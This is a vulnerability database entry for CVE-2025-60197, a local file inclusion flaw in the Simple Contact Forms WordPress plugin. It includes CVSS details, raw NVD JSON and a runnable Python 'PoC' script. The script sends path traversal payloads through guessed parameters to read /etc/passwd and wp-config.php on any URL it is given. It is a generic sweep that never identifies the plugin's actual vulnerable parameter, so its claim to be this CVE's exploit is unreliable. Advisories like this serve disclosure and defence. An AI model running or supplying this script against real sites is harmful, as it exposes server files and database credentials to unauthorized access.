Security Vulnerability Report
中文
CVE-2025-60197 CVSS 8.1 HIGH

CVE-2025-60197

Published: 2025-11-06 16:16:05
Last Modified: 2026-04-27 16:16:33

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in owenr88 Simple Contact Forms simple-contact-forms allows PHP Local File Inclusion.This issue affects Simple Contact Forms: from n/a through <= 1.6.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Simple Contact Forms <= 1.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60197 PoC - Simple Contact Forms Local File Inclusion # Target: WordPress site with Simple Contact Forms plugin <= 1.6.4 import requests import sys from urllib.parse import quote def test_lfi(target_url): """ Test for Local File Inclusion vulnerability in Simple Contact Forms plugin """ # Common vulnerable parameters for WordPress plugins vulnerable_params = [ 'file', 'page', 'template', 'include', 'load', 'controller' ] # Sensitive files to test test_files = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../etc/passwd', '../../../../../../../wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-60197 - Simple Contact Forms LFI\n") for param in vulnerable_params: for test_file in test_files: try: # Try GET request payload = {param: test_file} response = requests.get(target_url, params=payload, timeout=10) # Check for successful file inclusion if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {test_file}") print(f"[+] Response length: {len(response.text)} bytes") print(f"[*] Full URL: {response.url}\n") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {param}={test_file}: {e}") continue print("[-] No obvious LFI vulnerability detected") print("[*] Manual testing recommended with different parameters") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-60197-poc.py <target_url>") print("Example: python cve-2025-60197-poc.py http://target.com/wp-admin/admin.php") sys.exit(1) target = sys.argv[1] test_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60197", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:04.953", "lastModified": "2026-04-27T16:16:32.850", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in owenr88 Simple Contact Forms simple-contact-forms allows PHP Local File Inclusion.This issue affects Simple Contact Forms: from n/a through <= 1.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-contact-forms/vulnerability/wordpress-simple-contact-forms-plugin-1-6-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}